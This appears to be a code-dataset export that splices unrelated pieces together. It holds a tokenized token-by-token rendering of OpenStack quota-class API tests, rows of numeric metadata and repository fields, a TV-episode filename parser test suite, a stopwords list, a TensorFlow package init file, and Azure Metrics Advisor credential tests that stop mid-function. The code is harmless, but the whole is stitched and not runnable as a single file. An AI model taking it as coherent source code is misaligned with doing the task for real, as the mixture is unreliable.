dedent|''
name|'def'
name|'test_quotas_update_with_non_integer'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'body'
op|'='
op|'{'
string|"'quota_class_set'"
op|':'
op|'{'
string|"'instances'"
op|':'
string|'"abc"'
op|'}'
op|'}'
newline|'\n'
name|'self'
op|'.'
name|'assertRaises'
op|'('
name|'self'
op|'.'
name|'validation_error'
op|','
name|'self'
op|'.'
name|'controller'
op|'.'
name|'update'
op|','
nl|'\n'
name|'self'
op|'.'
name|'req'
op|','
string|"'test_class'"
op|','
name|'body'
op|'='
name|'body'
op|')'
newline|'\n'
nl|'\n'
name|'body'
op|'='
op|'{'
string|"'quota_class_set'"
op|':'
op|'{'
string|"'instances'"
op|':'
number|'50.5'
op|'}'
op|'}'
newline|'\n'
name|'self'
op|'.'
name|'assertRaises'
op|'('
name|'self'
op|'.'
name|'validation_error'
op|','
name|'self'
op|'.'
name|'controller'
op|'.'
name|'update'
op|','
nl|'\n'
name|'self'
op|'.'
name|'req'
op|','
string|"'test_class'"
op|','
name|'body'
op|'='
name|'body'
op|')'
newline|'\n'
nl|'\n'
name|'body'
op|'='
op|'{'
string|"'quota_class_set'"
op|':'
op|'{'
nl|'\n'
string|"'instances'"
op|':'
string|"u'\\u30aa\\u30fc\\u30d7\\u30f3'"
op|'}'
op|'}'
newline|'\n'
name|'self'
op|'.'
name|'assertRaises'
op|'('
name|'self'
op|'.'
name|'validation_error'
op|','
name|'self'
op|'.'
name|'controller'
op|'.'
name|'update'
op|','
nl|'\n'
name|'self'
op|'.'
name|'req'
op|','
string|"'test_class'"
op|','
name|'body'
op|'='
name|'body'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_quotas_update_with_unsupported_quota_class
dedent|''
name|'def'
name|'test_quotas_update_with_unsupported_quota_class'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'body'
op|'='
op|'{'
string|"'quota_class_set'"
op|':'
op|'{'
string|"'instances'"
op|':'
number|'50'
op|','
string|"'cores'"
op|':'
number|'50'
op|','
nl|'\n'
string|"'ram'"
op|':'
number|'51200'
op|','
string|"'unsupported'"
op|':'
number|'12'
op|'}'
op|'}'
newline|'\n'
name|'self'
op|'.'
name|'assertRaises'
op|'('
name|'self'
op|'.'
name|'validation_error'
op|','
name|'self'
op|'.'
name|'controller'
op|'.'
name|'update'
op|','
nl|'\n'
name|'self'
op|'.'
name|'req'
op|','
string|"'test_class'"
op|','
name|'body'
op|'='
name|'body'
op|')'
newline|'\n'
nl|'\n'
nl|'\n'
DECL|class|QuotaClassesPolicyEnforcementV21
dedent|''
dedent|''
name|'class'
name|'QuotaClassesPolicyEnforcementV21'
op|'('
name|'test'
op|'.'
name|'NoDBTestCase'
op|')'
op|':'
newline|'\n'
nl|'\n'
DECL|member|setUp
indent|' '
name|'def'
name|'setUp'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'super'
op|'('
name|'QuotaClassesPolicyEnforcementV21'
op|','
name|'self'
op|')'
op|'.'
name|'setUp'
op|'('
op|')'
newline|'\n'
name|'ext_info'
op|'='
name|'extension_info'
op|'.'
name|'LoadedExtensionInfo'
op|'('
op|')'
newline|'\n'
name|'self'
op|'.'
name|'controller'
op|'='
name|'quota_classes_v21'
op|'.'
name|'QuotaClassSetsController'
op|'('
nl|'\n'
name|'extension_info'
op|'='
name|'ext_info'
op|')'
newline|'\n'
name|'self'
op|'.'
name|'req'
op|'='
name|'fakes'
op|'.'
name|'HTTPRequest'
op|'.'
name|'blank'
op|'('
string|"''"
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_show_policy_failed
dedent|''
name|'def'
name|'test_show_policy_failed'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'rule_name'
op|'='
string|'"os_compute_api:os-quota-class-sets:show"'
newline|'\n'
name|'self'
op|'.'
name|'policy'
op|'.'
name|'set_rules'
op|'('
op|'{'
name|'rule_name'
op|':'
string|'"quota_class:non_fake"'
op|'}'
op|')'
newline|'\n'
name|'exc'
op|'='
name|'self'
op|'.'
name|'assertRaises'
op|'('
nl|'\n'
name|'exception'
op|'.'
name|'PolicyNotAuthorized'
op|','
nl|'\n'
name|'self'
op|'.'
name|'controller'
op|'.'
name|'show'
op|','
name|'self'
op|'.'
name|'req'
op|','
name|'fakes'
op|'.'
name|'FAKE_UUID'
op|')'
newline|'\n'
name|'self'
op|'.'
name|'assertEqual'
op|'('
nl|'\n'
string|'"Policy doesn\'t allow %s to be performed."'
op|'%'
name|'rule_name'
op|','
nl|'\n'
name|'exc'
op|'.'
name|'format_message'
op|'('
op|')'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_update_policy_failed
dedent|''
name|'def'
name|'test_update_policy_failed'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'rule_name'
op|'='
string|'"os_compute_api:os-quota-class-sets:update"'
newline|'\n'
name|'self'
op|'.'
name|'policy'
op|'.'
name|'set_rules'
op|'('
op|'{'
name|'rule_name'
op|':'
string|'"quota_class:non_fake"'
op|'}'
op|')'
newline|'\n'
name|'exc'
op|'='
name|'self'
op|'.'
name|'assertRaises'
op|'('
nl|'\n'
name|'exception'
op|'.'
name|'PolicyNotAuthorized'
op|','
nl|'\n'
name|'self'
op|'.'
name|'controller'
op|'.'
name|'update'
op|','
name|'self'
op|'.'
name|'req'
op|','
name|'fakes'
op|'.'
name|'FAKE_UUID'
op|','
nl|'\n'
name|'body'
op|'='
op|'{'
string|"'quota_class_set'"
op|':'
op|'{'
op|'}'
op|'}'
op|')'
newline|'\n'
name|'self'
op|'.'
name|'assertEqual'
op|'('
nl|'\n'
string|'"Policy doesn\'t allow %s to be performed."'
op|'%'
name|'rule_name'
op|','
nl|'\n'
name|'exc'
op|'.'
name|'format_message'
op|'('
op|')'
op|')'
newline|'\n'
dedent|''
dedent|''
endmarker|''
end_unit
| 12.487388 | 88 | 0.604548 | 2,263 | 15,347 | 3.995581 | 0.085285 | 0.132714 | 0.085158 | 0.095996 | 0.848153 | 0.823601 | 0.792966 | 0.764654 | 0.726609 | 0.665008 | 0 | 0.01319 | 0.09598 | 15,347 | 1,228 | 89 | 12.497557 | 0.638533 | 0 | 0 | 0.948697 | 0 | 0 | 0.361699 | 0.057992 | 0 | 0 | 0 | 0 | 0.021173 | 0 | null | null | 0 | 0.004886 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
4763117441473dcedfb0a37b1d160b3fc7224857 | 9,126 | py | Python | tvrenamer/tests/core/test_parser.py | shad7/tvrenamer | 7fb59cb02669357e73b7acb92dcb6d74fdff4654 | [
"MIT"
] | 1 | 2017-11-25T05:01:24.000Z | 2017-11-25T05:01:24.000Z | tvrenamer/tests/core/test_parser.py | shad7/tvrenamer | 7fb59cb02669357e73b7acb92dcb6d74fdff4654 | [
"MIT"
] | 2 | 2015-09-19T05:08:58.000Z | 2016-12-15T18:52:07.000Z | tvrenamer/tests/core/test_parser.py | shad7/tvrenamer | 7fb59cb02669357e73b7acb92dcb6d74fdff4654 | [
"MIT"
] | 2 | 2019-05-10T12:36:04.000Z | 2021-01-03T19:59:45.000Z | from tvrenamer.core import parser
from tvrenamer.tests import base
class ParserTest(base.BaseTest):
def test_parse_filename(self):
fname = 'Sample-Show.S02E15'
result = parser.parse_filename(fname)
self.assertEqual(result['series_name'], 'Sample-Show', result)
self.assertEqual(result['season_number'], 2)
self.assertEqual(result['episode_numbers'], [15])
fname = 'Sample-Show'
result = parser.parse_filename(fname)
self.assertIsNone(result)
fname = 'Sample-Show.S02E15'
result = parser.parse_filename(fname)
self.assertEqual(result['series_name'], 'Sample-Show', result)
self.assertEqual(result['season_number'], 2)
self.assertEqual(result['episode_numbers'], [15])
fname = 'The Wire s05e10 30.mp4'
result = parser.parse_filename(fname)
self.assertEqual(result['series_name'], 'The Wire', result)
self.assertEqual(result['season_number'], 5)
self.assertEqual(result['episode_numbers'], [10])
fname = '30 Rock [2.10] Episode 210.avi'
result = parser.parse_filename(fname)
self.assertEqual(result['series_name'], '30 Rock', result)
self.assertEqual(result['season_number'], 2)
self.assertEqual(result['episode_numbers'], [10])
def test_parse_expr1(self):
fname = 'Sample.Show.S01E01.S01E02.S01E03.S01E04.eps.mp4'
result = parser.parse_filename(fname)
self.assertEqual(result['series_name'], 'Sample.Show', result)
self.assertEqual(result['season_number'], 1)
self.assertEqual(result['episode_numbers'], [1, 2, 3, 4])
def test_parse_expr2(self):
fname = 'Sample-Show.S02e22e23e24'
result = parser.parse_filename(fname)
self.assertEqual(result['series_name'], 'Sample-Show', result)
self.assertEqual(result['season_number'], 2)
self.assertEqual(result['episode_numbers'], [22, 23, 24])
def test_parse_expr3(self):
fname = 'Sample.Show.3x12.3x13.3x14'
result = parser.parse_filename(fname)
self.assertEqual(result['series_name'], 'Sample.Show', result)
self.assertEqual(result['season_number'], 3)
self.assertEqual(result['episode_numbers'], [12, 13, 14])
def test_parse_expr4(self):
fname = 'Sample.Show.4x4x5x6'
result = parser.parse_filename(fname)
self.assertEqual(result['series_name'], 'Sample.Show', result)
self.assertEqual(result['season_number'], 4)
self.assertEqual(result['episode_numbers'], [4, 5, 6])
def test_parse_expr5(self):
fname = 'Sample.Show.S02E11-15-'
result = parser.parse_filename(fname)
self.assertEqual(result['series_name'], 'Sample.Show', result)
self.assertEqual(result['season_number'], 2)
self.assertEqual(result['episode_numbers'], [11, 12, 13, 14, 15])
def test_parse_expr6(self):
fname = 'Sample-Show.2x11-15'
result = parser.parse_filename(fname)
self.assertEqual(result['series_name'], 'Sample-Show', result)
self.assertEqual(result['season_number'], 2)
self.assertEqual(result['episode_numbers'], [11, 12, 13, 14, 15])
fname = 'Sample-Show.2x15-12'
result = parser.parse_filename(fname)
self.assertEqual(result['series_name'], 'Sample-Show', result)
self.assertEqual(result['season_number'], 2)
self.assertEqual(result['episode_numbers'], [12, 13, 14, 15])
def test_parse_expr7(self):
fname = 'Sample-Show.[3x11-13]'
result = parser.parse_filename(fname)
self.assertEqual(result['series_name'], 'Sample-Show', result)
self.assertEqual(result['season_number'], 3)
self.assertEqual(result['episode_numbers'], [11, 12, 13])
def test_parse_expr8(self):
fname = 'Sample.Show-[013]'
result = parser.parse_filename(fname)
self.assertEqual(result['series_name'], 'Sample.Show', result)
self.assertEqual(result['season_number'], 1)
self.assertEqual(result['episode_numbers'], [13])
def test_parse_expr9(self):
fname = 'Sample.S0202'
result = parser.parse_filename(fname)
self.assertEqual(result['series_name'], 'Sample', result)
self.assertEqual(result['season_number'], 2)
self.assertEqual(result['episode_numbers'], [2])
def test_parse_expr10(self):
fname = 'Sample_Show-7x17'
result = parser.parse_filename(fname)
self.assertEqual(result['series_name'], 'Sample_Show', result)
self.assertEqual(result['season_number'], 7)
self.assertEqual(result['episode_numbers'], [17])
def test_parse_expr11(self):
fname = 'Sample-Show S09.E11'
result = parser.parse_filename(fname)
self.assertEqual(result['series_name'], 'Sample-Show', result)
self.assertEqual(result['season_number'], 9)
self.assertEqual(result['episode_numbers'], [11])
fname = 'Sample-Show S09_E11'
result = parser.parse_filename(fname)
self.assertEqual(result['series_name'], 'Sample-Show', result)
self.assertEqual(result['season_number'], 9)
self.assertEqual(result['episode_numbers'], [11])
fname = 'Sample-Show S09 - E11'
result = parser.parse_filename(fname)
self.assertEqual(result['series_name'], 'Sample-Show', result)
self.assertEqual(result['season_number'], 9)
self.assertEqual(result['episode_numbers'], [11])
def test_parse_expr12(self):
fname = 'Sample_Show-[09.01]'
result = parser.parse_filename(fname)
self.assertEqual(result['series_name'], 'Sample_Show', result)
self.assertEqual(result['season_number'], 9)
self.assertEqual(result['episode_numbers'], [1])
def test_parse_expr13(self):
fname = 'Sample.Show - S9 E 9'
result = parser.parse_filename(fname)
self.assertEqual(result['series_name'], 'Sample.Show', result)
self.assertEqual(result['season_number'], 9)
self.assertEqual(result['episode_numbers'], [9])
def test_parse_expr14(self):
fname = 'SampleShow - episode 1219 [S 13 - E 07]'
result = parser.parse_filename(fname)
self.assertEqual(result['series_name'], 'SampleShow', result)
self.assertEqual(result['season_number'], 13)
self.assertEqual(result['episode_numbers'], [7])
fname = 'SampleShow - episode 1219 [S 13 Ep 07]'
result = parser.parse_filename(fname)
self.assertEqual(result['series_name'], 'SampleShow', result)
self.assertEqual(result['season_number'], 13)
self.assertEqual(result['episode_numbers'], [7])
def test_parse_expr15(self):
fname = 'Sample Show 2 of 7'
result = parser.parse_filename(fname)
self.assertEqual(result['series_name'], 'Sample Show', result)
self.assertEqual(result['season_number'], 1)
self.assertEqual(result['episode_numbers'], [2])
def test_parse_expr16(self):
fname = 'Sample.Show.Part.1.and.Part.2 '
result = parser.parse_filename(fname)
self.assertEqual(result['series_name'], 'Sample.Show', result)
self.assertEqual(result['season_number'], 1)
self.assertEqual(result['episode_numbers'], [1, 2])
fname = 'Sample.Show.pt.1 & pt 2 & pt.3 '
result = parser.parse_filename(fname)
self.assertEqual(result['series_name'], 'Sample.Show', result)
self.assertEqual(result['season_number'], 1)
self.assertEqual(result['episode_numbers'], [1, 2, 3])
def test_parse_expr17(self):
fname = 'Sample Show part 5 '
result = parser.parse_filename(fname)
self.assertEqual(result['series_name'], 'Sample Show', result)
self.assertEqual(result['season_number'], 1)
self.assertEqual(result['episode_numbers'], [5])
def test_parse_expr18(self):
fname = 'Sample.Show season 10 episode 15'
result = parser.parse_filename(fname)
self.assertEqual(result['series_name'], 'Sample.Show', result)
self.assertEqual(result['season_number'], 10)
self.assertEqual(result['episode_numbers'], [15])
def test_parse_expr19(self):
fname = 'Sample Show 909 '
result = parser.parse_filename(fname)
self.assertEqual(result['series_name'], 'Sample Show', result)
self.assertEqual(result['season_number'], 9)
self.assertEqual(result['episode_numbers'], [9])
def test_parse_expr20(self):
fname = 'Sample Show 1011 '
result = parser.parse_filename(fname)
self.assertEqual(result['series_name'], 'Sample Show', result)
self.assertEqual(result['season_number'], 10)
self.assertEqual(result['episode_numbers'], [11])
def test_parse_expr21(self):
fname = 'Sample Show e19 '
result = parser.parse_filename(fname)
self.assertEqual(result['series_name'], 'Sample Show', result)
self.assertEqual(result['season_number'], 1)
self.assertEqual(result['episode_numbers'], [19])
| 43.04717 | 73 | 0.65275 | 1,072 | 9,126 | 5.398321 | 0.103545 | 0.233281 | 0.326594 | 0.133921 | 0.828581 | 0.808536 | 0.778642 | 0.774149 | 0.771039 | 0.762053 | 0 | 0.042271 | 0.206772 | 9,126 | 211 | 74 | 43.251185 | 0.757149 | 0 | 0 | 0.58427 | 0 | 0 | 0.238988 | 0.018519 | 0 | 0 | 0 | 0 | 0.511236 | 1 | 0.123596 | false | 0 | 0.011236 | 0 | 0.140449 | 0 | 0 | 0 | 0 | null | 1 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
9a5199bb67ce68d82234c400c11f48e9701caa6c | 5,983 | py | Python | solutions/projectstaffing/pygraph/azure_processing/pygraph_utils/taxo_utils/data/stopwords.py | dgeorge-blueprint/dataconnect-solutions | 40f54abb98af6a3cdb1389086f7d7270d40fa9b6 | [
"MIT"
] | 10 | 2021-06-18T16:32:07.000Z | 2022-02-11T06:25:03.000Z | solutions/projectstaffing/pygraph/azure_processing/pygraph_utils/taxo_utils/data/stopwords.py | dgeorge-blueprint/dataconnect-solutions | 40f54abb98af6a3cdb1389086f7d7270d40fa9b6 | [
"MIT"
] | 13 | 2021-05-27T00:48:15.000Z | 2022-01-08T16:13:59.000Z | solutions/projectstaffing/pygraph/azure_processing/pygraph_utils/taxo_utils/data/stopwords.py | dgeorge-blueprint/dataconnect-solutions | 40f54abb98af6a3cdb1389086f7d7270d40fa9b6 | [
"MIT"
] | 18 | 2021-06-03T13:43:43.000Z | 2022-03-25T11:04:47.000Z | # Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT license. See LICENSE file in the project root for full license information.
# wrapped from ./stopwords.txt
stopwords_list = "&,'d,'ll,'m,'re,'s,'ve,/r/rekt,/slow,::slow,\\*slow,\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\,a,a's,able,about,above,abst,accordance,according,accordingly,aces,across,act,actually,added,adj,affected,affecting,affects,after,afterwards,again,against,ah,ain,ain't,all,allow,allows,almost,alone,along,already,also,although,always,am,among,amongst,amount,amp,an,and,announce,another,any,anybody,anyhow,anymore,anyone,anything,anyway,anyways,anywhere,apart,apparently,appear,appreciate,appropriate,approximately,are,aren,aren't,arent,arise,around,as,as many,aside,ask,asking,associated,at,auth,available,away,awfully,b,back,bcoz,be,became,because,become,becomes,becoming,been,before,beforehand,begin,beginning,beginnings,begins,behind,being,believe,below,beside,besides,best,better,between,beyond,bigger,biol,bookie,bossman,both,bottom,brief,briefly,bu,but,by,c,c'mon,c's,ca,call,came,can,can't,cannot,cant,cause,causes,certain,certainly,changes,clap,clap-,clap-clap,clap-clap-clap,clapclap,clapclapclap,clapclapclapclap,clearly,co,com,come,comes,concerning,consequently,consider,considering,contain,containing,contains,corresponding,could,couldn,couldn't,couldnt,course,cud,current,currently,d,date,dedicated,definitely,described,despite,did,didn,didn't,different,dnt,do,does,doesn,doesn't,doing,don,don't,done,down,downwards,due,during,e,each,ed,edu,effect,eg,eh&s,eight,eighty,either,eleven,else,elsewhere,empty,end,ending,enough,entirely,especially,et,et-al,etc,even,ever,every,everybody,everyone,everything,everywhere,ex,exactly,example,except,eyeroll,ez,f,far,few,fifteen,fifth,fifty,finance-&,first,five,fix,followed,following,follows,for,former,formerly,forth,forty,found,four,fp&a,fp&a-roles,from,front,full,further,furthermore,g,gave,get,gets,getting,give,given,gives,giving,go,goes,going,gone,got,gotten,greetings,h,ha,haaa,haaaa,had,hadn,hadn't,happens,happy,hardly,has,hasn,hasn't,hav,have,haven,haven't,having,he,he'd,he'll,he's,hed,hello,help,hence,her,here,here's,hereafter,hereby,herein,heres,hereupon,hers,herself,hes,hi,hic,hid,him,himself,his,hither,home,hopefully,how,how's,howbeit,however,hq](http://hq.porygon.co/u/pancham4#fhq’,hundred,i,i'd,i'll,i'm,i've,id,ie,if,ignored,im,immediate,immediately,importance,important,in,inasmuch,inc,indeed,index,india,indicate,indicated,indicates,information,inner,insofar,instead,internet,into,invention,inward,is,isn,isn't,it,it'd,it'll,it's,itd,its,itself,j,jus,just,k,keep,keeps,kept,kg,km,know,known,knows,l,largely,larger,last,lately,later,latter,latterly,least,less,lest,let,let's,lets,liao,like,liked,likely,line,little,ll,lols,look,looking,looks,lool,ltd,m,ma,made,mainly,make,makes,makin,many,may,maybe,me,mean,means,meantime,meanwhile,merely,mg,might,mightn,mightn't,million,mine,miss,ml,more,moreover,most,mostly,move,mr,mrs,much,mug,multiple,multiply,must,mustn,mustn't,my,myself,n,n't,na,name,namely,nay,nd,near,nearly,necessarily,necessary,need,needn,needn't,needs,neither,never,nevertheless,new,next,nice,nine,ninety,no,nobody,non,none,nonetheless,noone,nor,normally,nos,not,noted,nothing,novel,now,nowhere,o,obtain,obtained,obviously,of,off,often,oh,ok,okay,old,omitted,on,once,one,ones,only,onto,or,ord,other,others,otherwise,ought,our,ours,ourselves,out,outside,over,overall,owing,own,p,page,pages,part,particular,particularly,past,peh,per,perhaps,placed,please,plus,poorly,possible,possibly,potentially,pp,predominantly,present,presumably,previously,primarily,probably,promptly,proud,provides,put,q,quack,que,quickly,quite,qv,r,ran,rather,rd,re,readily,really,reasonably,recent,recently,ref,refs,regarding,regardless,regards,related,relatively,research,respectively,resulted,resulting,results,right,run,s,said,same,saw,say,saying,says,sec,second,secondly,section,see,seeing,seem,seemed,seeming,seems,seen,self,selves,sensible,sent,separate,separately,serious,seriously,seven,several,shall,shan,shan't,she,she'd,she'll,she's,shed,shes,sho,should,should've,shouldn,shouldn't,show,showed,shown,showns,shows,shud,shuld,side,significant,significantly,similar,similarly,simpleton,since,six,sixty,slightly,small,smaller,so,some,somebody,somehow,someone,somethan,something,sometime,sometimes,somewhat,somewhere,soon,sorry,specifically,specified,specify,specifying,still,stop,strongly,sub,substantially,successfully,such,sufficiently,suggest,sup,sure,t,t's,take,taken,taking,tell,ten,tends,th,than,thank,thanks,thanx,that,that'll,that's,that've,thats,the,their,theirs,them,themselves,then,thence,there,there'll,there's,there've,thereafter,thereby,thered,therefore,therein,thereof,therere,theres,thereto,thereupon,these,they,they'd,they'll,they're,they've,theyd,theyre,think,third,this,thorough,thoroughly,those,thou,though,thoughh,thousand,three,throug,through,throughout,thru,thus,til,tip,to,together,too,took,top,toward,towards,tried,tries,truly,try,trying,ts,twelve,twenty,twice,two,u,un,under,unfortunately,unless,unlike,unlikely,until,unto,up,upon,ups,ur,us,use,used,useful,usefully,usefulness,uses,using,usually,v,value,various,ve,very,via,viz,vol,vols,vs,w,wai,wang,want,wants,was,wasn,wasn't,wasnt,way,we,we'd,we'll,we're,we've,wed,welcome,well,went,were,weren,weren't,werent,wha,what,what'll,what's,whatever,whats,when,when's,whence,whenever,where,where's,whereafter,whereas,whereby,wherein,wheres,whereupon,wherever,whether,which,while,whim,whither,who,who'll,who's,whod,whoever,whole,whom,whomever,whos,whose,why,why's,widely,will,willing,wish,with,within,without,wnt,won,won't,wonder,wont,words,world,would,wouldn,wouldn't,wouldnt,www,x,y,yah,yee,yes,yet,yoo,you,you'd,you'll,you're,you've,youd,your,youre,yours,yourself,yourselves,yuu,z,zero"
def get_stopwords_hardcoded():
return stopwords_list.split(',')
| 598.3 | 5,717 | 0.807789 | 996 | 5,983 | 4.848394 | 0.818273 | 0.00994 | 0.012425 | 0.013253 | 0.005798 | 0.005798 | 0 | 0 | 0 | 0 | 0 | 0.000168 | 0.007688 | 5,983 | 9 | 5,718 | 664.777778 | 0.813205 | 0.031088 | 0 | 0 | 0 | 0.333333 | 0.983943 | 0.105318 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0.333333 | 0.333333 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 9 |
d005954ae6d0bcd8d91374b1baabcf99c53c3c13 | 539 | py | Python | srcs/python/kungfu/tensorflow/__init__.py | Pandinosaurus/KungFu | 80dfa463450330e920b413f65cc49d8e013b84a9 | [
"Apache-2.0"
] | 291 | 2019-10-25T16:37:59.000Z | 2022-03-17T21:47:09.000Z | srcs/python/kungfu/tensorflow/__init__.py | Pandinosaurus/KungFu | 80dfa463450330e920b413f65cc49d8e013b84a9 | [
"Apache-2.0"
] | 56 | 2019-10-26T08:25:33.000Z | 2021-09-07T11:11:51.000Z | srcs/python/kungfu/tensorflow/__init__.py | Pandinosaurus/KungFu | 80dfa463450330e920b413f65cc49d8e013b84a9 | [
"Apache-2.0"
] | 53 | 2019-10-25T17:45:40.000Z | 2022-02-08T13:09:39.000Z | from .variables import (create_assign_op_for, create_placeholder_for,
create_setter, eval_batch_size,
eval_gradient_noise_scale, get_batch_size,
get_or_create_batch_size,
get_or_create_global_variable)
__all__ = [
'create_assign_op_for',
'create_placeholder_for',
'create_setter',
'eval_batch_size',
'eval_gradient_noise_scale',
'get_batch_size',
'get_or_create_batch_size',
'get_or_create_global_variable',
]
| 31.705882 | 69 | 0.649351 | 62 | 539 | 4.903226 | 0.322581 | 0.177632 | 0.157895 | 0.184211 | 0.927632 | 0.927632 | 0.927632 | 0.927632 | 0.927632 | 0.927632 | 0 | 0 | 0.282004 | 539 | 16 | 70 | 33.6875 | 0.78553 | 0 | 0 | 0 | 0 | 0 | 0.300557 | 0.185529 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.066667 | 0 | 0.066667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
d00f5b527af54b04406fd269644624cb31a34922 | 12,375 | py | Python | sdk/metricsadvisor/azure-ai-metricsadvisor/tests/test_credential_entities.py | vincenttran-msft/azure-sdk-for-python | 348b56f9f03eeb3f7b502eed51daf494ffff874d | [
"MIT"
] | 1 | 2021-09-07T18:39:05.000Z | 2021-09-07T18:39:05.000Z | sdk/metricsadvisor/azure-ai-metricsadvisor/tests/test_credential_entities.py | vincenttran-msft/azure-sdk-for-python | 348b56f9f03eeb3f7b502eed51daf494ffff874d | [
"MIT"
] | null | null | null | sdk/metricsadvisor/azure-ai-metricsadvisor/tests/test_credential_entities.py | vincenttran-msft/azure-sdk-for-python | 348b56f9f03eeb3f7b502eed51daf494ffff874d | [
"MIT"
] | 1 | 2022-03-04T06:21:56.000Z | 2022-03-04T06:21:56.000Z | # coding=utf-8
# -------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
# --------------------------------------------------------------------------
import pytest
import functools
from devtools_testutils import recorded_by_proxy
from azure.ai.metricsadvisor import MetricsAdvisorAdministrationClient
from azure.ai.metricsadvisor.models import (
DatasourceSqlConnectionString,
DatasourceDataLakeGen2SharedKey,
DatasourceServicePrincipal,
DatasourceServicePrincipalInKeyVault
)
from base_testcase import TestMetricsAdvisorClientBase, MetricsAdvisorClientPreparer, CREDENTIALS, ids
MetricsAdvisorPreparer = functools.partial(MetricsAdvisorClientPreparer, MetricsAdvisorAdministrationClient, aad=False)
class TestMetricsAdvisorAdministrationClient(TestMetricsAdvisorClientBase):
@pytest.mark.parametrize("credential", CREDENTIALS, ids=ids)
@MetricsAdvisorPreparer()
@recorded_by_proxy
def test_create_datasource_sql_connection_string(self, client, variables):
credential_name = self.create_random_name("testsqlcredential")
if self.is_live:
variables["credential_name"] = credential_name
try:
credential = client.create_datasource_credential(
datasource_credential=DatasourceSqlConnectionString(
name=variables["credential_name"],
connection_string=self.sql_server_connection_string,
description="my credential",
)
)
if self.is_live:
variables["credential_id"] = credential.id
assert credential.id is not None
assert credential.name == variables["credential_name"]
assert credential.credential_type == 'AzureSQLConnectionString'
finally:
self.clean_up(client.delete_datasource_credential, variables, key="credential_id")
return variables
@pytest.mark.parametrize("credential", CREDENTIALS, ids=ids)
@MetricsAdvisorPreparer()
@recorded_by_proxy
def test_datasource_datalake_gen2_shared_key(self, client, variables):
credential_name = self.create_random_name("testdatalakecredential")
if self.is_live:
variables["credential_name"] = credential_name
try:
credential = client.create_datasource_credential(
datasource_credential=DatasourceDataLakeGen2SharedKey(
name=variables["credential_name"],
account_key="azure_datalake_account_key",
description="my credential",
)
)
if self.is_live:
variables["credential_id"] = credential.id
assert credential.id is not None
assert credential.name == variables["credential_name"]
assert credential.credential_type == 'DataLakeGen2SharedKey'
finally:
self.clean_up(client.delete_datasource_credential, variables, key="credential_id")
return variables
@pytest.mark.parametrize("credential", CREDENTIALS, ids=ids)
@MetricsAdvisorPreparer()
@recorded_by_proxy
def test_datasource_service_principal(self, client, variables):
credential_name = self.create_random_name("testserviceprincipalcredential")
if self.is_live:
variables["credential_name"] = credential_name
try:
credential = client.create_datasource_credential(
datasource_credential=DatasourceServicePrincipal(
name=variables["credential_name"],
client_id="client_id",
client_secret="client_secret",
tenant_id="tenant_id",
description="my credential",
)
)
if self.is_live:
variables["credential_id"] = credential.id
assert credential.id is not None
assert credential.name == variables["credential_name"]
assert credential.credential_type == 'ServicePrincipal'
finally:
self.clean_up(client.delete_datasource_credential, variables, key="credential_id")
return variables
@pytest.mark.parametrize("credential", CREDENTIALS, ids=ids)
@MetricsAdvisorPreparer()
@recorded_by_proxy
def test_datasource_service_principal_in_kv(self, client, variables):
credential_name = self.create_random_name("testserviceprincipalcredential")
if self.is_live:
variables["credential_name"] = credential_name
try:
credential = client.create_datasource_credential(
datasource_credential=DatasourceServicePrincipalInKeyVault(
name=variables["credential_name"],
key_vault_endpoint="key_vault_endpoint",
key_vault_client_id="key_vault_client_id",
key_vault_client_secret="key_vault_client_secret",
service_principal_id_name_in_kv="service_principal_id_name_in_kv",
service_principal_secret_name_in_kv="service_principal_secret_name_in_kv",
tenant_id="tenant_id",
description="my credential",
)
)
if self.is_live:
variables["credential_id"] = credential.id
assert credential.id is not None
assert credential.name == variables["credential_name"]
assert credential.credential_type == 'ServicePrincipalInKV'
finally:
self.clean_up(client.delete_datasource_credential, variables, key="credential_id")
return variables
@pytest.mark.parametrize("credential", CREDENTIALS, ids=ids)
@MetricsAdvisorPreparer()
@recorded_by_proxy
def test_list_datasource_credentials(self, client, variables):
credential_name = self.create_random_name("testsqlcredential")
if self.is_live:
variables["credential_name"] = credential_name
try:
credential = client.create_datasource_credential(
datasource_credential=DatasourceSqlConnectionString(
name=variables["credential_name"],
connection_string=self.sql_server_connection_string,
description="my credential",
)
)
if self.is_live:
variables["credential_id"] = credential.id
credentials = client.list_datasource_credentials()
